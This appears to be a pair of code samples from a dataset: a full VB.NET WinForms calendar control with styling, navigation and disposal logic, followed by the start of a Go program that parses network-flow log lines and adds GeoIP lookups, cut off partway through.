text:
Option Strict On
Option Explicit On
Option Infer Off
Imports System.Drawing
Imports System.Drawing.Drawing2D
Imports System.Windows.Forms

''' <summary>
''' A highly customizable calendar control. For interaction with individual calendar days, handle the Click, MouseEnter and MouseLeave events.
''' </summary>
Public NotInheritable Class CustomCalendar
    Inherits ContainerControl
    Implements IDisposable
#Region "Fields"
    Private WHeader As WeekHeader
    Private MHeader As MonthHeader
    Private Const MaxSquares As Integer = 42
    Private M As Integer = Date.Now.Month
    Private SquareArr(41) As CalendarDay
    Protected Friend DaysOfWeek(), MonthNames() As String
    Private RHeight, CWidth, varSpacingX, varSpacingY, varMargins(3) As Integer
    Private ParentContainer As Control
    Private varAutoShrink As Boolean = True, varHideEmptyRows As Boolean = True

    Private DictCustomStates As New Dictionary(Of Integer, CalendarDayStyle)
    Private AppliedStylesList As New List(Of DateStylePair)

    Private PrevStyle, CurrStyle, NextStyle As CalendarDayStyle

    Public Shadows Event MouseEnter(Sender As CalendarDay)
    Public Shadows Event MouseLeave(Sender As CalendarDay)
    Public Shadows Event Click(Sender As CalendarDay)

    Private IsDisplayed As Boolean
#End Region
#Region "Classes"
    Private NotInheritable Class DateStylePair
        Private varDate As Date
        Private varStyleKey As Integer
        Public Property MyDate As Date
            Get
                Return varDate
            End Get
            Set(value As Date)
                varDate = value
            End Set
        End Property
        Public Property StyleKey As Integer
            Get
                Return varStyleKey
            End Get
            Set(value As Integer)
                varStyleKey = value
            End Set
        End Property
        Public Sub New(MyDate As Date, StyleKey As Integer)
            varDate = MyDate
            varStyleKey = StyleKey
        End Sub
    End Class
    Private NotInheritable Class WeekHeader
        Implements IDisposable
        Private WeekDays() As Label = {New Label, New Label, New Label, New Label, New Label, New Label, New Label}
        Private WeekDaysString() As String = {"Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"}
        Private WithEvents ParentContainer As CustomCalendar
        Private H As Integer
        Private ColWidth As Integer
        Private Sub ParentBGChanged() Handles ParentContainer.BackColorChanged
            Dim BG As Color = ParentContainer.BackColor
            For Each Lab As Label In WeekDays
                Lab.BackColor = BG
            Next
        End Sub
        Public Property Parent As CustomCalendar
            Get
                Return ParentContainer
            End Get
            Set(value As CustomCalendar)
                ParentContainer = value
                For i As Integer = 0 To 6
                    WeekDays(i).Parent = value
                Next
                SetDayNames()
            End Set
        End Property
        Public ReadOnly Property Height As Integer
            Get
                Return H
            End Get
        End Property
        ''' <summary>
        ''' Gets the header label displaying the name of the specified day of the week.
        ''' </summary>
        ''' <param name="DayOfTheWeek">Zero-based index of the day of the week (Monday = 0)</param>
        Public Function GetLabel(ByVal DayOfTheWeek As Integer) As Label
            Return WeekDays(DayOfTheWeek)
        End Function
        Public Sub SetDayNames()
            WeekDaysString = ParentContainer.DaysOfWeek
            For i As Integer = 1 To 6
                WeekDays(i - 1).Text = WeekDaysString(i)
            Next
            WeekDays(6).Text = WeekDaysString(0)
        End Sub
        Public Sub New(Parent As CustomCalendar, Left As Integer, Top As Integer, Spacing As Integer, Optional Width As Integer = 100, Optional ByVal Height As Integer = 100)
            ColWidth = Width
            H = Height
            For i As Integer = 0 To 6
                With WeekDays(i)
                    .Parent = Parent
                    .AutoSize = False
                    .TextAlign = ContentAlignment.MiddleCenter
                    .BackColor = Parent.BackColor
                    .Text = WeekDaysString(i)
                    .Width = ColWidth
                    .Left = Left + i * (Width + Spacing)
                    .Top = Top
                End With
            Next
            ParentContainer = Parent
        End Sub
#Region "IDisposable Support"
        Private disposedValue As Boolean ' To detect redundant calls

        ' IDisposable
        Protected Sub Dispose(disposing As Boolean)
            If Not disposedValue Then
                If disposing Then
                    For i As Integer = 0 To 6
                        WeekDays(i).Dispose()
                        ParentContainer = Nothing
                    Next
                End If
            End If
            disposedValue = True
        End Sub
        Public Sub Dispose() Implements IDisposable.Dispose
            Dispose(True)
        End Sub
#End Region
    End Class
    Private NotInheritable Class MonthHeader
        Implements IDisposable
        Protected Friend Enum MonthArrow
            Left = 0
            Right = 1
        End Enum
#Region "Fields"
        Private MLabel As Label
        Private WithEvents ArrowLeft, ArrowRight As PictureBox
        Private ParentControl As CustomCalendar
        Private PointsL(), PointsR() As Point
        Private CArrowDefault As Color = Color.FromArgb(0, 173, 185)
        Private CArrowHover As Color = Color.FromArgb(0, 123, 135)
        Private BrushL, BrushR As Brush
        Public Event ArrowClicked(ByVal Arrow As MonthArrow)
#End Region
        Public Property ArrowColorDefault As Color
            Get
                Return CArrowDefault
            End Get
            Set(value As Color)
                CArrowDefault = value
                BrushL.Dispose()
                BrushR.Dispose()
                BrushL = New SolidBrush(value)
                BrushR = New SolidBrush(value)
                ArrowLeft.Invalidate()
                ArrowRight.Invalidate()
            End Set
        End Property
        Public Property ArrowColorHover As Color
            Get
                Return CArrowHover
            End Get
            Set(value As Color)
                CArrowHover = value
            End Set
        End Property
        Public Property MonthString As String
            Get
                Return MLabel.Text
            End Get
            Set(value As String)
                MLabel.Text = value
            End Set
        End Property
        Public Sub New(Parent As CustomCalendar, ByVal Left As Integer, ByVal Top As Integer, ByVal Width As Integer, ByVal Height As Integer)
            ParentControl = Parent
            BrushL = New SolidBrush(ArrowColorDefault)
            BrushR = New SolidBrush(ArrowColorDefault)
            MLabel = New Label
            ArrowLeft = New PictureBox
            ArrowRight = New PictureBox
            With MLabel
                .Location = New Point(Left, Top)
                .Size = New Size(Width, Height)
                .TextAlign = ContentAlignment.MiddleCenter
                .BackColor = Parent.BackColor
                .Parent = Parent
                .Text = Parent.MonthNames(Date.Now.Month - 1)
            End With
            With ArrowLeft
                .Size = New Size(16, 16)
                .Location = New Point(Left + (Width \ 2) - (.Width \ 2) - 50, Top + (Height \ 2) - (.Height \ 2))
                .Parent = Parent
                .BringToFront()
            End With
            With ArrowRight
                .Size = New Size(16, 16)
                .Location = New Point(Left + (Width \ 2) - (.Width \ 2) + 50, Top + (Height \ 2) - (.Height \ 2))
                .Parent = Parent
                .BringToFront()
            End With
            PointsL = {New Point(ArrowLeft.Width - 4, 0), New Point(ArrowLeft.Width - 4, ArrowLeft.Height), New Point(4, (ArrowLeft.Height \ 2))}
            PointsR = {New Point(4, 0), New Point(4, ArrowRight.Height), New Point(12, (ArrowRight.Height \ 2))}
        End Sub
        Private Sub PaintLeftArrow(Sender As Object, e As PaintEventArgs) Handles ArrowLeft.Paint
            e.Graphics.FillPolygon(BrushL, PointsL)
        End Sub
        Private Sub PaintRightArrow(Sender As Object, e As PaintEventArgs) Handles ArrowRight.Paint
            e.Graphics.FillPolygon(BrushR, PointsR)
        End Sub
        Private Sub EnterLeft() Handles ArrowLeft.MouseEnter
            BrushL.Dispose()
            BrushL = New SolidBrush(CArrowHover)
            ArrowLeft.Refresh()
        End Sub
        Private Sub LeaveLeft() Handles ArrowLeft.MouseLeave
            BrushL.Dispose()
            BrushL = New SolidBrush(CArrowDefault)
            ArrowLeft.Refresh()
        End Sub
        Private Sub EnterRight() Handles ArrowRight.MouseEnter
            BrushR.Dispose()
            BrushR = New SolidBrush(CArrowHover)
            ArrowRight.Refresh()
        End Sub
        Private Sub LeaveRight() Handles ArrowRight.MouseLeave
            BrushR.Dispose()
            BrushR = New SolidBrush(CArrowDefault)
            ArrowRight.Refresh()
        End Sub
        Private Sub ClickLeft() Handles ArrowLeft.MouseDown
            RaiseEvent ArrowClicked(MonthArrow.Left)
        End Sub
        Private Sub ClickRight() Handles ArrowRight.MouseDown
            RaiseEvent ArrowClicked(MonthArrow.Right)
        End Sub
#Region "IDisposable Support"
        Private disposedValue As Boolean ' To detect redundant calls
        ' IDisposable
        Protected Sub Dispose(disposing As Boolean)
            If Not disposedValue Then
                If disposing Then
                    MLabel.Dispose()
                    ArrowLeft.Dispose()
                    ArrowRight.Dispose()
                    BrushL.Dispose()
                    BrushR.Dispose()
                End If
            End If
            disposedValue = True
        End Sub
        Public Sub Dispose() Implements IDisposable.Dispose
            Dispose(True)
        End Sub
#End Region
    End Class
    Public NotInheritable Class CalendarDay
        Inherits Label
        Private LabWeek As New Label
        Private GB As LinearGradientBrush
        Private myDate As Date
        Private DrawGrad As Boolean
        Private varAppliedStyle As CalendarDayStyle
        Public Area As CalendarArea = CalendarArea.Undefined
        Public Property LastStyleApplied As CalendarDayStyle
            Get
                Return varAppliedStyle
            End Get
            Set(value As CalendarDayStyle)
                varAppliedStyle = value
            End Set
        End Property
        Public Sub SetColors(ByRef Style As CalendarDayStyle)
            varAppliedStyle = Style
            If DrawGrad Then
                If GB IsNot Nothing Then
                    GB.Dispose()
                End If
                GB = New LinearGradientBrush(DisplayRectangle, Color.FromArgb(70, ColorHelper.FillRemainingRGB(Style.BackgroundColor, 0.7)), Color.Transparent, LinearGradientMode.Vertical)
            End If
            With Style
                MyBase.BackColor = .BackgroundColor
                LabWeek.BackColor = .BackgroundColor
                LabWeek.ForeColor = .DayOfWeekColor
                ForeColor = .DayColor
            End With
        End Sub
        Public Shadows Property Parent As CustomCalendar
            Get
                Return DirectCast(MyBase.Parent, CustomCalendar)
            End Get
            Set(Parent As CustomCalendar)
                MyBase.Parent = Parent
            End Set
        End Property
        Public Property Day As Date
            Get
                Return myDate
            End Get
            Set(value As Date)
                myDate = value
                Text = CStr(value.Day)
                Dim DayToUpper As String = Parent.DaysOfWeek(value.DayOfWeek).ToUpper
                If LabWeek.Text <> DayToUpper Then
                    LabWeek.Text = DayToUpper
                End If
            End Set
        End Property
        Public Overrides Property BackColor As Color
            Get
                Return MyBase.BackColor
            End Get
            Set(value As Color)
                If MyBase.BackColor <> value Then
                    If DrawGrad Then
                        If GB IsNot Nothing Then
                            GB.Dispose()
                        End If
                        GB = New LinearGradientBrush(DisplayRectangle, Color.FromArgb(70, ColorHelper.FillRemainingRGB(value, 0.7)), Color.Transparent, LinearGradientMode.Vertical)
                    End If
                    MyBase.BackColor = value
                    LabWeek.BackColor = BackColor
                End If
            End Set
        End Property
        Public Property DayOfWeekColor As Color
            Get
                Return LabWeek.ForeColor
            End Get
            Set(value As Color)
                If LabWeek.ForeColor <> value Then
                    LabWeek.ForeColor = value
                End If
            End Set
        End Property
        Public Property DrawGradient As Boolean
            Get
                Return DrawGrad
            End Get
            Set(value As Boolean)
                If value <> DrawGrad Then
                    DrawGrad = value
                    If DrawGrad Then
                        If GB IsNot Nothing Then
                            GB.Dispose()
                        End If
                        GB = New LinearGradientBrush(DisplayRectangle, Color.FromArgb(70, ColorHelper.FillRemainingRGB(BackColor, 0.7)), Color.Transparent, LinearGradientMode.Vertical)
                    End If
                    Invalidate()
                End If
            End Set
        End Property
        Public Sub New(Width As Integer, Height As Integer)
            SuspendLayout()
            ResizeRedraw = False
            SetStyle(ControlStyles.UserPaint, True)
            SetStyle(ControlStyles.AllPaintingInWmPaint, True)
            SetStyle(ControlStyles.OptimizedDoubleBuffer, True)
            DoubleBuffered = True
            AutoSize = False
            With Me
                .Size = New Size(Width, Height)
                .TextAlign = ContentAlignment.MiddleCenter
                .Font = New Font(.Font.FontFamily, 20, FontStyle.Bold)
            End With
            With LabWeek
                .Parent = Me
                .BackColor = BackColor
                .AutoSize = False
                .Size = New Size(Width, Height \ 4)
                .TextAlign = ContentAlignment.MiddleCenter
                .Font = New Font(.Font.FontFamily, 6, FontStyle.Bold)
                .BringToFront()
            End With
            ResumeLayout()
        End Sub
        Protected Overrides Sub OnPaint(e As PaintEventArgs)
            If DrawGrad Then
                e.Graphics.FillRectangle(GB, ClientRectangle)
            End If
            MyBase.OnPaint(e)
        End Sub
        Protected Overloads Overrides Sub Dispose(disposing As Boolean)
            LabWeek.Dispose()
            If GB IsNot Nothing Then
                GB.Dispose()
            End If
            MyBase.Dispose(disposing)
        End Sub
    End Class
    Public Enum CalendarArea
        Undefined = 0
        PreviousMonth = 1
        CurrentMonth = 2
        NextMonth = 3
    End Enum
    Public Class CalendarDayStyle
        Private DColor, BGColor, WColor As Color
        Public Sub New(ByVal DayColor As Color, ByVal BackgroundColor As Color, ByVal DayOfWeekColor As Color)
            DColor = DayColor
            BGColor = BackgroundColor
            WColor = DayOfWeekColor
        End Sub

        Public Property DayColor As Color
            Get
                Return DColor
            End Get
            Set(value As Color)
                DColor = value
            End Set
        End Property
        Public Property BackgroundColor As Color
            Get
                Return BGColor
            End Get
            Set(value As Color)
                BGColor = value
            End Set
        End Property
        Public Property DayOfWeekColor As Color
            Get
                Return WColor
            End Get
            Set(value As Color)
                WColor = value
            End Set
        End Property
    End Class
#End Region
    ''' <summary>
    ''' Replaces the default names for Monday through Sunday with the specified string array.
    ''' </summary>
    ''' <param name="Names">An array of string representing the days of the week, starting with Sunday and ending with Saturday.</param>
    ''' <param name="Refresh">Specifies whether or not to call the RefreshCalendar method. Specify False if several methods with this optional parameter are called in succession</param>
    Public Sub SetDayNames(Names() As String, Optional Refresh As Boolean = True)
        DaysOfWeek = Names
        If Refresh Then
            RefreshCalendar()
        End If
    End Sub
    ''' <summary>
    ''' Applies the specified custom style (that has been added using the
    ''' </summary>
    ''' <param name="Dates"></param>
    ''' <param name="StyleKey"></param>
    ''' <param name="Refresh">Specifies whether or not to call the RefreshCalendar method. Specify False if several methods with this optional parameter are called in succession</param>
    Public Sub ApplyCustomStyle(Dates() As Date, StyleKey As Integer, Optional Refresh As Boolean = True)
        For Each D As Date In Dates
            AppliedStylesList.Add(New DateStylePair(D, StyleKey))
        Next
        If Refresh Then
            RefreshCalendar()
        End If
    End Sub
    ''' <summary>
    ''' Use this method if all dates with a given custom style should be reset to the default style.
    ''' </summary>
    ''' <param name="StyleKey"></param>
    ''' <param name="RemoveFromDictionary">If true, removes the custom style from the dictionary. If the style is to be used again, it must be added again.</param>
    ''' <param name="Refresh">Specifies whether or not to call the RefreshCalendar method. Specify False if several methods with this optional parameter are called in succession</param>
    Public Overloads Sub RemoveCustomStyle(StyleKey As Integer, Optional RemoveFromDictionary As Boolean = False, Optional Refresh As Boolean = True)
        Dim iLast As Integer = AppliedStylesList.Count - 1
        For i As Integer = iLast To 0 Step -1
            With AppliedStylesList(i)
                If .StyleKey = StyleKey Then
                    AppliedStylesList.RemoveAt(i)
                End If
            End With
        Next
        If RemoveFromDictionary Then
            DictCustomStates.Remove(StyleKey)
        End If
        If Refresh Then
            RefreshCalendar()
        End If
    End Sub
    ''' <summary>
    ''' Use this (slow) method if only some dates with a given style should be reset to the default style.
    ''' </summary>
    ''' <param name="Dates">The dates that have a custom style applied to them that should be removed.</param>
    '''   ''' <param name="Refresh">Specifies whether or not to call the RefreshCalendar method. Specify False if several methods with this optional parameter are called in succession</param>
    Public Overloads Sub RemoveCustomStyle(Dates() As Date, Optional Refresh As Boolean = True)
        Dim DatesList As List(Of Date) = Dates.ToList
        DatesList.Capacity = Dates.Length
        Dim Matches As List(Of DateStylePair) = AppliedStylesList.FindAll(Function(Pair As DateStylePair) As Boolean
                                                                              Dim iLast As Integer = DatesList.Count - 1
                                                                              For i As Integer = 0 To iLast
                                                                                With Pair
                                                                                If .MyDate.Date = DatesList(i).Date Then
                                                                                DatesList.RemoveAt(i)
                                                                                Return True
                                                                                Exit For
                                                                                End If
                                                                                End With
                                                                              Next
                                                                              Return False
                                                                          End Function)
        If Matches IsNot Nothing Then
            For Each Match As DateStylePair In Matches
                Match = Nothing
            Next
        End If
        Dim nLast As Integer = AppliedStylesList.Count - 1
        If nLast >= 0 Then
            For n As Integer = nLast To 0 Step -1
                If AppliedStylesList(n) Is Nothing Then
                    AppliedStylesList.RemoveAt(n)
                End If
            Next
        End If
        If Refresh Then
            RefreshCalendar()
        End If
    End Sub
    ''' <summary>
    ''' Shows the calendar without calling the Display method. Stylistic changes to the calendar only get applied if the Display method has been shown.
    ''' </summary>
    ''' <param name="Refresh">Specifies whether or not to call the RefreshCalendar method. Specify True if stylistic changes have been made to the calendar while it was hidden.</param>
    ''' <param name="SuppressDisplay">Specifies whether or not to display the form if it has not already been displayed (not recommended).</param>
    Public Shadows Sub Show(Refresh As Boolean, Optional SuppressDisplay As Boolean = False)
        If IsDisplayed Then
            If Refresh Then
                RefreshCalendar()
            End If
            MyBase.Show()
        ElseIf Not SuppressDisplay Then
            Display()
        End If
    End Sub
    ''' <summary>
    ''' If the Display method has not yet been called, displays the calendar. If the Display method has been called, shows the calendar without calling RefreshCalendar.
    ''' </summary>
    Public Shadows Sub Show()
        If IsDisplayed Then
            MyBase.Show()
        Else
            Display()
        End If
    End Sub
    ''' <summary>
    ''' Applies changes and displays the calendar. Call this method the first time the calendar is shown. Changes to the calendar may not display correctly unless this method has been called.
    ''' </summary>
    Public Sub Display()
        IsDisplayed = True
        RefreshCalendar()
        MyBase.Show()
    End Sub
    Private Shadows Sub OnMouseEnter(Sender As Object, e As EventArgs)
        RaiseEvent MouseEnter(DirectCast(Sender, CalendarDay))
    End Sub
    Private Shadows Sub OnMouseLeave(Sender As Object, e As EventArgs)
        RaiseEvent MouseLeave(DirectCast(Sender, CalendarDay))
    End Sub
    Private Shadows Sub OnClick(Sender As Object, e As EventArgs)
        RaiseEvent Click(DirectCast(Sender, CalendarDay))
    End Sub
    ''' <summary>
    ''' Gets or sets the color of the next and previous buttons when they are not hovered.
    ''' </summary>
    Public Property ArrowColorDefault As Color
        Get
            Return MHeader.ArrowColorDefault
        End Get
        Set(value As Color)
            MHeader.ArrowColorDefault = value
        End Set
    End Property
    ''' <summary>
    ''' Gets or sets the color of the next and previous buttons when they are hovered.
    ''' </summary>
    Public Property ArrowColorHover As Color
        Get
            Return MHeader.ArrowColorHover
        End Get
        Set(value As Color)
            MHeader.ArrowColorHover = value
        End Set
    End Property
    ''' <summary>
    ''' Gets the number of the currently displaying month, or sets which month to display.
    ''' </summary>
    ''' <returns>An integer value between 1 and 12 (inclusive).</returns>
    Public Property CurrentMonth As Integer
        Get
            Return M
        End Get
        Set(value As Integer)
            If value >= 1 AndAlso value <= 12 Then
                M = value
                RefreshCalendar()
            End If
        End Set
    End Property

    Public Sub New(PreviousMonthStyle As CalendarDayStyle, CurrentMonthStyle As CalendarDayStyle, NextMonthStyle As CalendarDayStyle, Left As Integer, ByVal Top As Integer, Optional ByVal ColumnWidth As Integer = 100, Optional ByVal RowHeight As Integer = 100, Optional ByVal SpacingX As Integer = 20, Optional ByVal SpacingY As Integer = 20, Optional ByVal HeaderMarginBottom As Integer = 10, Optional ByVal HeaderHeight As Integer = 30, Optional WeekDays() As String = Nothing, Optional Months() As String = Nothing)
        Hide()
        Dim StylesArr(2) As CalendarDayStyle
        StylesArr(0) = PreviousMonthStyle
        StylesArr(1) = CurrentMonthStyle
        StylesArr(2) = NextMonthStyle
        Location = New Point(Left, Top)
        CommonNew(ColumnWidth, SpacingX, SpacingY, RowHeight, HeaderHeight, StylesArr, WeekDays, Months)
    End Sub
    Public Sub New(Left As Integer, ByVal Top As Integer, Optional ByVal ColumnWidth As Integer = 100, Optional ByVal RowHeight As Integer = 100, Optional ByVal SpacingX As Integer = 20, Optional ByVal SpacingY As Integer = 20, Optional ByVal HeaderMarginBottom As Integer = 10, Optional ByVal HeaderHeight As Integer = 30, Optional WeekDays() As String = Nothing, Optional Months() As String = Nothing)
        Hide()
        Dim StylesArr(2) As CalendarDayStyle
        StylesArr(0) = New CalendarDayStyle(Color.White, Color.LightGray, Color.White)
        StylesArr(1) = New CalendarDayStyle(Color.White, Color.FromArgb(0, 173, 185), Color.White)
        StylesArr(2) = New CalendarDayStyle(Color.White, Color.LightGray, Color.White)
        Location = New Point(Left, Top)
        CommonNew(ColumnWidth, SpacingX, SpacingY, RowHeight, HeaderHeight, StylesArr, WeekDays, Months)
    End Sub
    Private Sub CommonNew(ByVal ColumnWidth As Integer, ByVal SpacingX As Integer, ByVal SpacingY As Integer, ByVal RowHeight As Integer, ByVal HeaderHeight As Integer, Styles() As CalendarDayStyle, WeekDays() As String, Months() As String)
        SetStyle(ControlStyles.UserPaint, True)
        SetStyle(ControlStyles.AllPaintingInWmPaint, True)
        SetStyle(ControlStyles.OptimizedDoubleBuffer, True)
        DoubleBuffered = True
        ResizeRedraw = False

        If WeekDays Is Nothing Then
            WeekDays = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"}
        End If
        If Months Is Nothing Then
            Months = {"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"}
        End If
        PrevStyle = Styles(0)
        CurrStyle = Styles(1)
        NextStyle = Styles(2)
        DaysOfWeek = WeekDays
        MonthNames = Months

        MHeader = New MonthHeader(Me, Left, Top, (ColumnWidth * 7) + (SpacingX * 6), 50)
        AddHandler MHeader.ArrowClicked, AddressOf OnArrowClicked
        WHeader = New WeekHeader(Me, Left, Top + 50, SpacingX, ColumnWidth, HeaderHeight) ' Legg til alle de andre parameterne også
        RHeight = RowHeight
        CWidth = ColumnWidth
        varSpacingX = SpacingX
        varSpacingY = SpacingY
        BuildSquares()
    End Sub
    ''' <summary>
    ''' Specifies whether or not the SizeToContent method should be automatically called as necessary.
    ''' </summary>
    Public Property AutoShrink As Boolean
        Get
            Return varAutoShrink
        End Get
        Set(value As Boolean)
            varAutoShrink = value
            If value Then
                SizeToContent()
            End If
        End Set
    End Property
    ''' <summary>
    ''' Sets the width and height of the calendar to the right and bottom edges of its elements.
    ''' </summary>
    Public Sub SizeToContent()
        Dim CalcHeight As Integer
        If varAutoShrink Then
            With SquareArr(41)
                If .Visible Then
                    CalcHeight = .Bottom
                Else
                    CalcHeight = SquareArr(41 - 7).Bottom
                End If
            End With
        Else
            CalcHeight = SquareArr(41).Bottom
        End If
        With Me
            .Width = SquareArr(6).Right
            .Height = CalcHeight
        End With
    End Sub
    Private Sub OnArrowClicked(Arrow As MonthHeader.MonthArrow)
        Select Case Arrow
            Case MonthHeader.MonthArrow.Left
                PreviousMonth()
            Case MonthHeader.MonthArrow.Right
                NextMonth()
        End Select
    End Sub
    ''' <summary>
    ''' Applies changes to the calendar. Call this method only if exceptional circumstances causes the calendar to display incorrectly.
    ''' </summary>
    Public Sub RefreshCalendar()
        If IsDisplayed Then
            SuspendLayout()
            Hide()
            MHeader.MonthString = MonthNames(M - 1)
            Dim D As New Date(Date.Now.Year, M, 1)
            Dim DInt As Integer = D.DayOfWeek
            If DInt = 0 Then
                DInt = 7
            End If
            Dim DaysInMonthPrevious As Integer
            If D.Month > 1 Then
                DaysInMonthPrevious = Date.DaysInMonth(D.Year, D.Month - 1)
            Else
                DaysInMonthPrevious = Date.DaysInMonth(D.Year - 1, 12)
            End If
            Dim DaysInMonthPreviousYear As Integer = Date.DaysInMonth(D.Year - 1, 12)
            Dim DaysInMonthCurrent As Integer = Date.DaysInMonth(D.Year, M)
            Dim DYear As Integer = D.Year
            Dim DMonth As Integer = D.Month
            Dim Day As Integer
            For i As Integer = 1 To MaxSquares
                If i < DInt Then
                    With SquareArr(i - 1)
                        .Area = CalendarArea.PreviousMonth
                        If D.Month > 1 Then
                            Day = DaysInMonthPrevious - DInt + i + 1
                            .Day = New Date(DYear, DMonth - 1, Day)
                        Else
                            Day = DaysInMonthPreviousYear - DInt + i + 1
                            .Day = New Date(DYear - 1, 12, Day)
                        End If
                    End With
                ElseIf i - DInt < DaysInMonthCurrent Then
                    Day = i - DInt + 1
                    With SquareArr(i - 1)
                        .Area = CalendarArea.CurrentMonth
                        .Day = New Date(DYear, DMonth, Day)
                    End With
                Else
                    Day = i - (DaysInMonthCurrent + DInt) + 1
                    With SquareArr(i - 1)
                        .Area = CalendarArea.NextMonth
                        If D.Month < 12 Then
                            .Day = New Date(DYear, DMonth + 1, Day)
                        Else
                            .Day = New Date(DYear + 1, 1, Day)
                        End If
                    End With
                End If
            Next
            Dim LastRowStart As Integer = 7 * 5
            Dim LastDayIndex As Integer = DInt + DaysInMonthCurrent - 2
            If Not SquareArr(0).Visible Then
                For i As Integer = 0 To LastRowStart - 1
                    SquareArr(i).Show()
                Next
            End If
            If LastDayIndex < LastRowStart AndAlso varHideEmptyRows Then
                For i As Integer = LastRowStart To MaxSquares - 1
                    SquareArr(i).Hide()
                Next
            ElseIf Not SquareArr(MaxSquares - 1).Visible Then
                For i As Integer = LastRowStart To MaxSquares - 1
                    SquareArr(i).Show()
                Next
            End If
            For i As Integer = 0 To 41
                With SquareArr(i)
                    Select Case .Area
                        Case CalendarArea.CurrentMonth
                            .SetColors(CurrStyle)
                        Case CalendarArea.PreviousMonth
                            .SetColors(PrevStyle)
                        Case CalendarArea.NextMonth
                            .SetColors(NextStyle)
                    End Select
                End With
            Next
            For i As Integer = 0 To 41
                With SquareArr(i)
                    Dim SquareDate As Date = .Day
                    Dim Match As DateStylePair = AppliedStylesList.Find(Function(Pair As DateStylePair) As Boolean
                                                                            With Pair.MyDate
                                                                                If .Date = SquareDate.Date Then
                                                                                Return True
                                                                                Else
                                                                                Return False
                                                                                End If
                                                                            End With
                                                                        End Function)
                    If Match IsNot Nothing Then
                        Dim Style As CalendarDayStyle = DictCustomStates(Match.StyleKey)
                        If Style IsNot Nothing Then
                            .SetColors(Style)
                        End If
                    End If
                End With
            Next
            WHeader.SetDayNames()
            If varAutoShrink Then
                SizeToContent()
            End If
            ResumeLayout(True)
            Show()
            Refresh()
        End If
    End Sub
    Private Sub BuildSquares()
        SuspendLayout()
        Dim WHeight As Integer = WHeader.Height
        Dim Counter As Integer = 0
        For n As Integer = 0 To 5
            For i As Integer = 0 To 6
                Dim Square As New CalendarDay(CWidth, RHeight)
                With Square
                    .Location = New Point(Left + i * (varSpacingX + CWidth), WHeight + Top + n * (varSpacingY + RHeight) + 50)
                    .Tag = (n + 1) * (i + 1)
                    .Parent = Me
                End With
                AddHandler Square.MouseEnter, AddressOf OnMouseEnter
                AddHandler Square.MouseLeave, AddressOf OnMouseLeave
                AddHandler Square.Click, AddressOf OnClick
                SquareArr(Counter) = Square
                Counter += 1
            Next
        Next
        'RefreshCalendar()
        ResumeLayout(True)
    End Sub
    ''' <summary>
    ''' Specifies whether or not to draw subtle gradients on the Calendar's days. The initial and final color are determined by the CalendarDay's BackColor property. Default = False.
    ''' </summary>
    Public WriteOnly Property DrawGradient As Boolean
        Set(value As Boolean)
            For i As Integer = 0 To 41
                SquareArr(i).DrawGradient = value
            Next
        End Set
    End Property
    Private Sub NextMonth()
        CurrentMonth += 1
    End Sub
    Private Sub PreviousMonth()
        CurrentMonth -= 1
    End Sub
    ''' <summary>
    ''' Gets the CalendarDay control currently representing the specified date.
    ''' </summary>
    ''' <returns>The CalendarDay displaying the specified date, or Nothing if the date is not included in the current view.</returns>
    Public Overloads ReadOnly Property Day(ByVal DayDate As Date) As CalendarDay
        Get
            For i As Integer = 0 To 41
                With SquareArr(i).Day
                    If .Date = DayDate.Date Then
                        Return SquareArr(i)
                    End If
                End With
            Next
            Return Nothing
        End Get
    End Property
    ''' <summary>
    ''' Gets the CalendarDay at the specified index (going left to right, including days in the previous and next month's area, if any).
    ''' </summary>
    ''' <param name="Index">An integer value between 0 and 41 inclusive.</param>
    ''' <returns>The CalendarDay at the specified index (going left to right, including days in the previous and next month's area, if any).</returns>
    Public Overloads ReadOnly Property Day(ByVal Index As Integer) As CalendarDay
        Get
            Return SquareArr(Index)
        End Get
    End Property
    ''' <summary>
    ''' Gets an array of all 42 CalendarDay controls, which include both visible and hidden days.
    ''' </summary>
    ''' <returns></returns>
    Public ReadOnly Property Days As CalendarDay()
        Get
            Return SquareArr
        End Get
    End Property
    ''' <summary>
    ''' Adds the specified custom style to a dictionary, so that it can be applied with the specified key using the ApplyCustomStyle method.
    ''' </summary>
    ''' <param name="Key">A unique key that can be used to identify the style when it is applied.</param>
    ''' <param name="Style">The style to be applied to specific dates.</param>
    Public Sub AddCustomStyle(Key As Integer, Style As CalendarDayStyle)
        DictCustomStates.Add(Key, Style)
    End Sub
#Region "IDisposable Support"
    Private disposedValue As Boolean
    Protected Overrides Sub Dispose(disposing As Boolean)
        If Not disposedValue Then
            If disposing Then
                RemoveHandler MHeader.ArrowClicked, AddressOf OnArrowClicked
                MHeader.Dispose()
                WHeader.Dispose()
                For i As Integer = 0 To MaxSquares - 1
                    RemoveHandler SquareArr(i).MouseEnter, AddressOf OnMouseEnter
                    RemoveHandler SquareArr(i).MouseLeave, AddressOf OnMouseLeave
                    RemoveHandler SquareArr(i).Click, AddressOf OnClick
                    SquareArr(i).Dispose()
                Next
                SquareArr = Nothing
            End If
        End If
        disposedValue = True
        MyBase.Dispose(disposing)
    End Sub
#End Region
End Class


text:
package main

import (
	"flag"
	"fmt"
	"github.com/42wim/tail"
	"github.com/Sirupsen/logrus"
	"github.com/hashicorp/golang-lru"
	"github.com/oschwald/geoip2-golang"
	_ "github.com/pkg/profile"
	"github.com/pquerna/ffjson/ffjson"
	"net"
	"runtime"
	"time"
)

var flagTailFile string
var geoipDB *geoip2.Reader
var geoipCache *lru.Cache
var cfg *Config
var nrCPU = runtime.GOMAXPROCS(-1)
var log = logrus.New()

const nfLayout = "2006-01-02T15:04:05.999999999"

var myLocation *time.Location

func parseLine(line *[]byte) {
	var f nf
	var t time.Time
	var realRegionName, regionName string
	var record *geoip2.City

	err := ffjson.Unmarshal(*line, &f)
	if err != nil {
		*line = []byte("")
		log.Error(err, "couldn't unmarshal ", *line)
		return
	}

	if f.Srcip == nil {
		log.Error("Packet without source ip, shouldn't happen: ", string(*line))
		return
	}

	// use LRU cache
	if val, ok := geoipCache.Get(*f.Srcip); ok {
		record = val.(*geoip2.City)
	} else {
		ip := net.ParseIP(*f.Srcip)
		record, _ = geoipDB.City(ip)
		geoipCache.Add(*f.Srcip, record)
	}

	// add @timestamp with zulu (ISO8601 time)
	t, _ = time.ParseInLocation(nfLayout, *f.Timestamp, myLocation)
	f.Ltimestamp = t.UTC().Format(time.RFC3339Nano)

	if record.Location.Longitude != 0 && record.Location.Latitude != 0 {
		mylen := len(record.Subdivisions)
		if mylen > 0 {
